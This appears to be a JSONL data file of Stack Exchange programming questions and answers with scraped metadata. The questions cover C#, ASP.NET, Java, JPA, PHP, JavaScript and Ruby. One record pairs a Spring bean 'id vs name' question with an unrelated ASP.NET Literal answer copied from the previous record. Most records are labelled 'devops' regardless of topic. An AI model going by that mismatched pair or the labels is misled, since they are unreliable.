{"id": "hf_fad9c2f33a9c", "question": "<p>I have a C# method which accepts a Predicate&lt;Foo&gt; and returns a list of matching items...</p>\n\n<pre><code>public static List&lt;Foo&gt; FindAll( Predicate&lt;Foo&gt; filter )\n{\n    ...\n}\n</code></pre>\n\n<p>The filter will often be one of a common set...</p>\n\n<pre><code>public static class FooPredicates\n{\n    public static readonly Predicate&lt;Foo&gt; IsEligible = ( foo =&gt; ...)\n    ...\n}\n</code></pre>\n\n<p>...but may be an anonymous delegate.</p>\n\n<p>I'd now like to have this method cache its results in the ASP.NET cache, so repeated calls with the same delegate just return the cached result. For this, I need to create a cache key from the delegate. Will Delegate.GetHashCode() produce sensible results for this purpose? Is there some other member of Delegate that I should look at? Would you do this another way entirely?</p>\n", "question_body": "", "answer": "Delegate equality looks at each invocation in the invocation list, testing for equality of method to be invoked, and target of method.\nThe method is a simple piece of the cache key, but the target of the method (the instance to call it on - assuming an instance method) could be impossible to cache in a serializable way. In particular, for anonymous functions which capture state, it will be an instance of a nested class created to capture that state.\nIf this is all in memory, just keeping the delegate itself as the hash key will be okay - although it may mean that some objects which clients would expect to be garbage collected hang around. If you need to serialize this to a database, it gets hairier.\nCould you make your method accept a cache key (e.g. a string) as well? (That's assuming an in memory cache is inadequate.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.634837"}
{"id": "hf_79e2a04038df", "question": "<p>I would like to break a long line of text assigned to the standard Label widget in GWT.\nI was experimenting with inline <code>&lt;br /&gt;</code> elements but with no success.</p>\n\n<p>Something like this: </p>\n\n<pre><code>label = \"My very very very long&lt;br /&gt;long long text\"\n</code></pre>\n", "question_body": "", "answer": "You need to use the HTML widget, which extends the standard Label widget, and adds support for interpreting HTML tags.\nSee the\nJavaDoc\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.659095"}
{"id": "hf_4191c2b5bf4b", "question": "<p>I'm using the ListView control (ASP.NET 2008) to show a bunch of lines of data, and at the bottom I want some totals. I was initially going to define the header and footer in the LayoutTemplate and get the totals with some local function, i.e. &lt;%#GetTheSum()%>, but it appears that the LayoutTemplate does not process the &lt;%#...%> syntax.</p>\n\n<p>Another thought would be to put a Label in the LayoutTemplate and use FindControl to update it. Not sure if that's possible (will try shortly).</p>\n\n<p>What's the best way to show totals using a ListView?</p>\n\n<p>UPDATE: Solution <a href=\"https://stackoverflow.com/questions/212048/displaying-totals-in-the-listview-layouttemplate#212308\">here</a>.</p>\n", "question_body": "", "answer": "Use a literal and set the variable in the code-behind.\n```\n```\n<asp:Literal ID=\"litTotal\" runat=\"server\" />\n```\n```\ncode-behind:\n```\n```\nlitTotal.Text = GetTheSum();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.701264"}
{"id": "hf_fd083029c07d", "question": "<p>In a spring configuration, what is the difference between using name vs id?   I'm aware that XML restricts the \"id\" attribute to be unique in a document and limits the characters for using in the id.   But otherwise when declaring a bean, what is the difference between using the \"name\" attribute vs the \"id\" attribute?</p>\n", "question_body": "", "answer": "Use a literal and set the variable in the code-behind.\n```\n```\n<asp:Literal ID=\"litTotal\" runat=\"server\" />\n```\n```\ncode-behind:\n```\n```\nlitTotal.Text = GetTheSum();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.725609"}
{"id": "hf_04a1e906f519", "question": "<p>Are there any performance benefits of using SQL Server 2008 over SQL Server 2005?</p>\n", "question_body": "", "answer": "Moving a single database from SQL Server 2005-2008 will not notice a difference really.  However, there are new tools and options available in SQL Server 2008 that you MIGHT be able to leverage to provider better performance later on in your application.\nOne item that comes to mind is filtered indexes.  Allowing to create an index on a subset of information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.761901"}
{"id": "hf_18ef22ca8d18", "question": "<p>This is the way I read file:</p>\n\n<pre><code>    public static string readFile(string path)\n    {\n        StringBuilder stringFromFile = new StringBuilder();\n        StreamReader SR;\n        string S;\n        SR = File.OpenText(path);\n        S = SR.ReadLine();\n        while (S != null)\n        {\n            stringFromFile.Append(SR.ReadLine());\n        }\n        SR.Close();\n        return stringFromFile.ToString();\n    }\n</code></pre>\n\n<p>The problem is it so long (the .txt file is about 2.5 megs). Took over 5 minutes. Is there a better way?</p>\n\n<p><strong>Solution taken</strong></p>\n\n<pre><code>    public static string readFile(string path)\n    {\n\n       return File.ReadAllText(path);\n\n    }\n</code></pre>\n\n<p>Took less than 1 second... :)</p>\n", "question_body": "", "answer": "Leaving aside the horrible variable names and the lack of a using statement (you won't close the file if there are any exceptions) that should be okay, and\ncertainly\nshouldn't take 5 minutes to read 2.5 megs.\nWhere does the file live? Is it on a flaky network share?\nBy the way, the only difference between what you're doing and using File.ReadAllText is that you're losing line breaks. Is this deliberate? How long does ReadAllText take?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.797571"}
{"id": "hf_d585e6c8e629", "question": "<p>I find that most of microsoft's new programs are very hard to use.</p>\n\n<p>Microsoft Office 2007 (word especially) I find to be hard to use.\nMicrosoft IIS 7.0 is a PAIN, I never remember which icon to click on, things are just to cluttered and hard to find.</p>\n\n<p>As a programmer, we have to design according to what people are used too, what exactly is MS telling us to do? </p>\n", "question_body": "", "answer": "Well, Microsoft has to balance this. On one side, users scream for new features and change-for-change's sake in a lot of MS software. On the other, lack of backwards compatibility (including subjective UI compatibility) is a deal breaker. Really no way to win there.\nThat said, I don't think we need to design according to what people are used to; neither does Microsoft. Change will never happen if we just do what has always been done before. IIS is not developed for programmers; it's developed for IT people. And the new interface serves them well. Likewise, Office is designed for office drones, not programmers, and the new Office is very discoverable for that particular group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.821146"}
{"id": "hf_333c3e97bcd8", "question": "<p>Is it possible to convert an existing WPF Application to SilverLight automatically/with minimal effort?</p>\n", "question_body": "", "answer": "No.  Silverlight runs in its own cut-down version of the CLR.  It also is WPF-like, not WPF.  You'll have to do a fair amount of work to convert it.\nTimes have changed.  Check out\nPortable Class Libraries\n, now supported in .NET 4.0.  You can build assemblies that can be used on different supported platforms: WP7, Silverlight WPF and even XBOX applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.857331"}
{"id": "hf_afdcbc7e4ea4", "question": "<p>What is the best method for displaying major/minor versions in a C# console application?</p>\n\n<p>The <code>System.Windows.Forms</code> namespace includes a <code>ProductVersion</code> class that can be used to display the name/version information set via the Visual Studio project properties (Assembly Information). As such, here is my current mechanism:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>Console.WriteLine(\"{0} ({1})\", \n   System.Windows.Forms.Application.ProductName, \n   System.Windows.Forms.Application.ProductVersion);\n</code></pre>\n\n<p>Why is this part of <code>Forms</code>? Is this appropriate for a Console application?</p>\n", "question_body": "", "answer": "```\n```\nAssembly.GetExecutingAssembly().GetName().Version\n```\n```\nAlso, you can still use the class, you just have to reference the containing assembly.  It's no biggie.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.880716"}
{"id": "hf_571fe4697d4e", "question": "<p>Some friends and colleagues of mine have a little running contest to find or write the longest class/variable/property/method names possible.  Keep in mind, we try to be good boys and girls and keep the naming intelligible and concise, while still explaining what the thing does via its name.</p>\n\n<p>Sometimes it just doesn't happen though.  Have you run in to this?  I'd just like to see what's out there. (Maybe my friends and I aren't as crazy as we think)</p>\n\n<p>Note: I'm not looking for <strong>bad</strong> naming. That's already <a href=\"https://stackoverflow.com/questions/143701/what-is-the-worst-classvariablefunction-name-you-have-ever-encountered\">here</a>.  I'm looking for <strong>good</strong> naming that just got a little long.</p>\n", "question_body": "", "answer": "Check out Apple's documentation. They're kings at that. Very descriptive, but sometimes miles long. A couple of examples from the NSString class:\n```\n```\nNSString.completePathInfoString:caseSensitive:matchesToArray:filterType\nNSString.stringByAddingPercentEscapesUsingEncoding\n```\n```\nMy favourite in the Microsoft world:\n```\nSetProcessWorkingSetSize\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.904697"}
{"id": "hf_a7d7250752aa", "question": "<p>I need to scale calls into Tomcat and it's been suggested to launch threads internally.  Has anyone needed to do this and, if so, what solutions did they come up with?</p>\n", "question_body": "", "answer": "Your question is a bit vague. Tomcat itself already uses a thread pool to service HTTP requests. You can increase the number of threads through Tomcat configuration - look to the Tomcat wiki for info on this.\nIf you mean that in your code you want to launch threads, then I advise perusing the java.util.concurrent API introduced in Java 5. Also read \"Java Concurrency in Practice\", which is\nthe\ntext on this subject.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.940770"}
{"id": "hf_df942ad9204b", "question": "<p>In a windows MSVC6.0 compiler, if there is a workspace with one project in it, what files would be in the <strong>Header Files</strong>  folder  and what files would be in the <strong>External Dependencies</strong> folder?</p>\n\n<p>I thought those files which are explicitly included (#include &lt;*.h>  are to be in the <strong>Header Files</strong> folder and thsoe which are in turn included by added header files, will be in <strong>External Dependencies</strong> folder? But doesnt seem to be case.</p>\n\n<p>So what is the difference between the two?</p>\n\n<p>-AD</p>\n", "question_body": "", "answer": "After looking at the structure of header files and #include *.h in the workspace i found following:\n1.) Those files which are not explicitly added to the Projects\nHeader Files\nfolder, but are nonetheless included using the #include directive, by different header and source files, are added to the project automatically by MSVC under the folder\nExternal Dependencies\nBut now i have a question, is it better to let MSVC add those header files as\nExternal Dependencies\nor is it better to add it explicitly in the\nHeader Files\nfolder, or is there no difference in the two?\n-AD", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:12.964905"}
{"id": "hf_8073ffc4c1ce", "question": "<p>What is the purpose of the <code>Using</code> block in C#? How is it different from a local variable?</p>\n", "question_body": "", "answer": "```\nUsing\n```\ncalls\n```\nDispose()\n```\nafter the\n```\nusing\n```\n-block is left, even if the code throws an exception.\nSo you usually use\n```\nusing\n```\nfor classes that require cleaning up after them, like IO.\nSo, this using block:\n```\n```\nusing (MyClass mine = new MyClass())\n{\n  mine.Action();\n}\n```\n```\nwould do the same as:\n```\n```\nMyClass mine = new MyClass();\ntry\n{\n  mine.Action();\n}\nfinally\n{\n  if (mine != null)\n    mine.Dispose();\n}\n```\n```\nUsing\n```\nusing\n```\nis way shorter and easier to read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.024893"}
{"id": "hf_fd6a864d1235", "question": "<p>I've got a code that lists the running application on a win32 box, and then displays theirs icons.</p>\n\n<p>So far so good, I get the hwnd of the app, then call for GetClassLong(hwnd,GCL_HICONSM),  and everything's fine.</p>\n\n<p>But the case of a java apps is a pain to deal with, as the process answering to my calls is javaw.exe, and not the shiny-pimpy java application, who's got a so beautiful icon...</p>\n\n<p>I gave a shot at GetWindowThreadProcessId also, but alas, it's the PID of javaw that's returned...</p>\n\n<p>There's a way to do this though, as the task manager (alt+tab) displays the good icon.</p>\n", "question_body": "", "answer": "Mmm, it can be done, because\nProcess Viewer\nhas a Show Applications button which does that (even if the main view shows the Java's icon). Alas this freeware isn't open source, so it won't tell its secret... :-(\nSysinternals' ProcMon doesn't do that, alas.\nI will dig a bit more... :-)\n[EDIT] Both a MS KB article and a\nCode Project\narticle recommend using WM_QUERYDRAGICON if GCL_HICON fails...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.061996"}
{"id": "hf_6c5579a5b34e", "question": "<p>I'm trying to display a loading icon while my iPhone app downloads a network resource, but I can't figure out how to make it show up correctly.</p>\n\n<p>I searched around and found some details on the <code>UIActivityView</code> class, but the available example source code didn't work, and the documentation is kind of terse.</p>\n\n<p>Could someone provide a simple example on how to use this class?</p>\n", "question_body": "", "answer": "Assuming you've got a view controller set up, and would like to add a\n```\nUIActivityIndicator\n```\nto it, here's how you could do it:\n(assume you've got a member variable called\n```\nindicator\n```\n, which you can use later to clean up)\nFor your interface (.h file):\n```\n```\nUIActivityIndicator *indicator;\n```\n```\nFor your implementation (.m file):\nStart the Animation\n```\n```\nCGRect b = self.view.bounds;\nindicator = [[UIActivityIndicator alloc] initWithActivityIndicatorStyle: \n                                             UIActivityIndicatorStyleWhite];\n//center the indicator in the view\nindicator.frame = CGRectMake((b.size.width - 20) / 2, (b.size.height - 20) / 2, 20, 20); \n[self.view addSubview: indicator];\n[indicator release];\n[indicator startAnimating];\n```\n```\nStop the Animation\n```\n```\n[indicator removeFromSuperview];\nindicator = nil;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.085538"}
{"id": "hf_c4d7365d5118", "question": "<p>I have read the GOLD Homepage ( <a href=\"http://www.devincook.com/goldparser/\" rel=\"nofollow noreferrer\">http://www.devincook.com/goldparser/</a> ) docs, FAQ and Wikipedia to find out what practical application there could possibly be for GOLD. I was thinking along the lines of having a programming language (easily) available to my systems such as ABAP on SAP or X++ on Axapta - but it doesn't look feasible to me, at least not easily - even if you use GOLD.</p>\n\n<p>The final use of the parsed result produced by GOLD escapes me - what do you do with the result of the parse?</p>\n\n<p>EDIT: A practical example (description) would be great.</p>\n", "question_body": "", "answer": "GOLD can be used for any kind of application where you have to apply context-free grammars to input.\nelaboration:\nEssentially, CFGs apply to all programming languages. So if you wanted to develop a scripting language for your company, you'd need to write a parser- or get a parsing program. Alternatively, if you wanted to have a semi-natural language for input for non-programmers in the company, you could use a parser  to read that input and spit out more \"machine-readable\" data. Essentially, a context-free grammar allows you to describe far more inputs than a regular expression. The GOLD system apparently makes the parsing problem somewhat easier than lex/yacc(the UNIX standard programs for parsing).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.120927"}
{"id": "hf_867b14330994", "question": "<p>I am building an MS Access application in which all the forms are modal. However, after data change in a form, I want to refresh the parent form of this form with newer data. Is there any way to do it. To elaborate further :</p>\n\n<p>Consider there are two forms, Form A and Form B. Both are modal form. From Form A, I initiate Form B, and now Form B has the user attention. But at the close of form B, I want to refresh the Form A. Is there a way to do it?</p>\n", "question_body": "", "answer": "You can repaint and / or requery:\nOn the close event of form B:\n```\n```\nForms!FormA.Requery\n```\n```\nIs this what you mean?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.156377"}
{"id": "hf_b312f1b59356", "question": "<p>My company has been working on a Flex dashboard that displays realtime financial information. It will be deployed over a corporate WAN to perhaps a few dozen users. </p>\n\n<p>This is our first Flex project, and while development has been very pleasant, we're a little concerned about what production issues might come up (users not having the right Flash player installed, long download times,BlazeDS performance, etc). </p>\n\n<p>Our stack is RDBMS/Spring/BlazeDS (remoting and messaging)/Flex. </p>\n\n<p>Does anyone with experience deploying a commercial Flex app have any words of advice?</p>\n", "question_body": "", "answer": "Your biggest problems are likely to be:\nyour users not having the correct version of the flash player\nyour users having locked-down desktops and either not being able to download the right version of the player or not being allowed to use the player at all\ndownload speeds of the swf if you have a big app\nintermittent loss of connection to your back-end due to either bugs in your code or unavailable network connection\nrestrictive browser policies\nNone of these are insurmountable, but you are likely to encounter all of them in the first few months.\nI am presuming that you have tested your app for performance under reasonable load and will have fixed those scalability issues already :-)\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.221761"}
{"id": "hf_cfa24135106b", "question": "<p>Our web application renders fast in some IE browsers, slow in others...  It seems to be an HTML rendering problem...  The first 10% of the page displays immediately, the last 90% takes up to 10 seconds, and this is static content.  I've run with firefox/yslow, renders very quickly.  Seems to be isolated to some users/configurations of ie.  Quirks mode does not seem to make a difference.</p>\n\n<p>Is there a tool or application that I can use to help me discover a rendering bottleneck?  Am I doing something egregious in my code?  Could it be a javascript issue?  Any help or suggestions will be much appreciated.  thanks.</p>\n", "question_body": "", "answer": "Use Fiddler to look at the times to load images, css, js files, etc.  In other words, is caching a problem?  Javascript can definitely cause issues in different browser versions.  There's lots of optimizations you find in some versions that aren't in others.  Also, make sure your html is well-formed xhtml if possible.  How the page is arranged can also affect life.  If your document tree is deep, it may need to wait to render large sections until it reads all the child nodes.  Another thing to note, certain toolbars and plugins do look ahead loading and can slow down life.   An HTTP Proxy can help you watch what's going on network-wise at least.\nNot sure if anything of those ideas might help your exact problem, but they can help life overall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.246309"}
{"id": "hf_96fb58f62ad4", "question": "<p>I know Java well. Which caveats and resources will help me cross to the other side (C#) as painlessly as possible.</p>\n", "question_body": "", "answer": "Biggest tip: go with the\n.NET naming conventions\nfrom the word go. That way you'll constantly be reminded about which language you're in. (Sounds silly, but it really is helpful.) Embrace the idioms of the language as far as possible.\nThere are various books specifically for folks in your situation - search for \"C# for Java\" in Amazon and you'll get plenty of hits. It's worth reading\ncarefully\nto make sure you don't assume that things will work the same in C# as in Java. (For instance, in C# instance variable initializers are executed before the base class constructor body; in Java they happen after. Subtle things like this can take a while to learn, and are easy to miss if you're skimming.)\nIf you're going to be using C# 3, I'd get a book which definitely covers that - everything in C# 3 will be new to you. Gratuitous plug: my own book (\nC# in Depth\n) covers C# 2 and 3, but assumes you already know C# 1. (In other words, it won't be enough on its own, but you may want it as a \"second\" book.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.282532"}
{"id": "hf_a1b760476216", "question": "<p>I would like to know if there are general rules for creating an index or not.\nHow do I choose which fields I should include in this index or when not to include them?</p>\n\n<p>I know its always depends on the environment and the amount of data, but I was wondering if we could make some globally accepted rules about making indexes in Oracle.</p>\n", "question_body": "", "answer": "There are some things you should always index:\nPrimary Keys - these are given an index automatically (unless you specify a suitable existing index for Oracle to use)\nUnique Keys - these are given an index automatically (ditto)\nForeign Keys - these are\nnot\nautomatically indexed, but you should add one to avoid performance issues when the constraints are checked\nAfter that, look for other columns that are\nfrequently\nused to filter queries: a typical example is people's surnames.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.306838"}
{"id": "hf_ea4eda02da96", "question": "<p>Do moderate or large projects ever not require an architect? I have worked on a number of projects where the development company involved has choosen not to assign an application architect. Either the software is built organically and with little concern for design or the design responsibility falls to senior developers.</p>\n\n<p>The motivations for not having an architect range from cost considerations to believing that the development methodology makes the architectural role unnecessary (this argument could be made for agile development). Some open source projects work on the principle of collective contribution rather than development with architectural leadership.</p>\n", "question_body": "", "answer": "I'm going to have to use an analogy here utilizing houses.  Not too long ago (relatively) people could build houses without an architect or architected plans.  They cut down some wood, used learned skills to cut and plane boards and built their houses.  Cathedrals, castles, etc....they had architects and engineers, sure.  But the vast majority of the time it was people using skills passed down to build a house.\nThese houses did the job but didn't last as long. They might be a bit leaky, they might be hard to improve, etc.  But it's easy to use water to level your foundation and then add wood.\nModern day houses have infrastructure to plug into, codes that have to be met, etc.  We need our housing designs created or approved by an architect before they can be built. The architect makes sure everything's up to snuff and that the house will stand and be habitable.\nApplications are no different. We are not living in a world where complex structures can get away without being architected.  Sure I can write a database for my library as a trivial exercise; I can also build bookshelves for my library without getting an architect involved.  But once you get beyond simple structures, you should absolutely make sure somebody is paying attention to the bigger picture -- whether your structure (house or application) is going to do what it needs to do, whether it plays nice with others, and whether it meets the rules set upon its construction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.367029"}
{"id": "hf_0583499702c4", "question": "<p>Anyone know a simple way using Java calendar to subtract X days from a date?</p>\n\n<p>I have not been able to find any function which allows me to directly subtract X days from a date in Java. Can someone point me to the right direction?</p>\n", "question_body": "", "answer": "Taken from\nthe docs here\n:\nAdds or subtracts the specified amount of time to the given calendar field, based on the calendar's rules. For example, to subtract 5 days from the current time of the calendar, you can achieve it by calling:\n```\n```\nCalendar calendar = Calendar.getInstance(); // this would default to now\ncalendar.add(Calendar.DAY_OF_MONTH, -5).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.391445"}
{"id": "hf_5d478cbcc9ee", "question": "<p>The <code>JPA</code> (Java Persistence API) specification has 2 different ways to specify entity composite keys: <code>@IdClass</code> and <code>@EmbeddedId</code>. </p>\n\n<p>I'm using both annotations on my mapped entities, but it turns out to be a big mess to people who aren't very familiar with <code>JPA</code>. </p>\n\n<p>I want to adopt only one way to specify composite keys. Which one is really the best? Why?</p>\n", "question_body": "", "answer": "I consider that\n```\n@EmbeddedId\n```\nis probably more verbose because with\n```\n@IdClass\n```\nyou cannot access the entire primary key object using any field access operator. Using the\n```\n@EmbeddedId\n```\nyou can do like this:\n```\n```\n@Embeddable class EmployeeId { name, dataOfBirth }\n@Entity class Employee {\n  @EmbeddedId EmployeeId employeeId;\n  ...\n}\n```\n```\nThis gives a clear notion of the fields that make the composite key because they are all aggregated in a class that is accessed trough a field access operator.\nAnother difference with\n```\n@IdClass\n```\nand\n```\n@EmbeddedId\n```\nis when it comes to write HQL :\nWith\n```\n@IdClass\n```\nyou write:\n```\nselect e.name from Employee e\n```\nand with\n```\n@EmbeddedId\n```\nyou have to write:\n```\nselect e.employeeId.name from Employee e\n```\nYou have to write more text for the same query. Some may argue that this differs from a more natural language like the one promoted by\n```\nIdClass\n```\n. But most of the times understanding right from the query that a given field is part of the composite key is of invaluable help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.427319"}
{"id": "hf_f8a06f8bab1b", "question": "<p>I have an embedded webserver that has a total of 2 Megs of space on it.  Normally you gzip files for the clients benefit, but this would save us space on the server.  I read that you can just gzip the js file and save it on the server.  I tested that on IIS and I didn't have any luck at all.  What exactly do I need to do on every step of the process to make this work?</p>\n\n<p>This is what I imagine it will be like:</p>\n\n<ol>\n<li>gzip foo.js</li>\n<li>change link in html to point to foo.js.gz instead of just .js</li>\n<li>Add some kind of header to the response?</li>\n</ol>\n\n<p>Thanks for any help at all.</p>\n\n<p>-fREW</p>\n\n<p><strong>EDIT</strong>: My webserver can't do anything on the fly.  It's not Apache or IIS; it's a binary on a ZiLog processor.  I know that you can compress streams; I just heard that you can also compress the files once and leave them compressed.</p>\n", "question_body": "", "answer": "Using gzip compression on a webserver usually means compressing the output from it to conserve your bandwidth - not quite what you have in mind.\nLook at this description\nor\nThis example", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.464138"}
{"id": "hf_8c4c226fb926", "question": "<p>I am trying to create a multi dimensional array using this syntax:</p>\n\n<pre><code>$x[1] = 'parent';\n$x[1][] = 'child';\n</code></pre>\n\n<p>I get the error: <code>[] operator not supported for strings</code>  because it is evaluating the <code>$x[1]</code> as a string as opposed to returning the array so I can append to it.</p>\n\n<p>What is the correct syntax for doing it this way? The overall goal is to create this multidimensional array in an iteration that will append elements to a known index.</p>\n\n<p>The syntax <code>${$x[1]}[]</code> does not work either.</p>\n", "question_body": "", "answer": "```\n```\n$x = array();\n$x[1] = array();\n$x[1][] = 'child';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.500647"}
{"id": "hf_c480934a8d4f", "question": "<p>From Wikipedia, the free encyclopedia: <strong>Closure (computer science)</strong></p>\n\n<blockquote>\n  <p>In computer science, a closure is a\n  function that is evaluated in an\n  environment containing one or more\n  bound variables. When called, the\n  function can access these variables.\n  The explicit use of closures is\n  associated with functional programming\n  and with languages such as ML and\n  Lisp. Constructs such as objects in\n  other languages can also be modeled\n  with closures.</p>\n</blockquote>\n\n<p>To use this inside of JavaScript, can someone point me to an example of how this applies?</p>\n", "question_body": "", "answer": "Searching for \"javascript closures\" gave plenty of encouraging-looking links. The top three were these two (the third link was a reformatted version of the second):\nJavascript closures\nJavaScript closures for dummies\nIf these didn't help you, please explain why so we're in a better position to actually help. If you didn't search before asking the question, well - please do so next time :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.536238"}
{"id": "hf_4226847d15f8", "question": "<p>Is the singleton class in Ruby a class in and of itself? Is it the reason why all objects belong to \"class?\" The concept is <strong>fuzzy</strong>, but I believe it has something to do with why I can define a class method at all (<code>class foo; def foo.bar ...</code>).</p>\n\n<p>What is the singleton class in Ruby?</p>\n", "question_body": "", "answer": "The most pragmatic/action-oreinted way to think of it (IMHO) is: as an inheritance chain, or method lookup/resolution order.  This picture might help\nhttp://www.klankboomklang.com/2007/11/25/modules-part-i-enter-the-include-class/\nThis is r 1.9, contrasting builtin and user-defined classes: i'm still digesting this one.\nhttp://d.hatena.ne.jp/sumim/20080111/p1\nAlso, i htink a confusing use of the term is \"Singleton object\", which is different concept.  A singleton object comes from  a class which has its constructor/instantiator method overridden so that you can allocate only one of that class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:13.561048"}
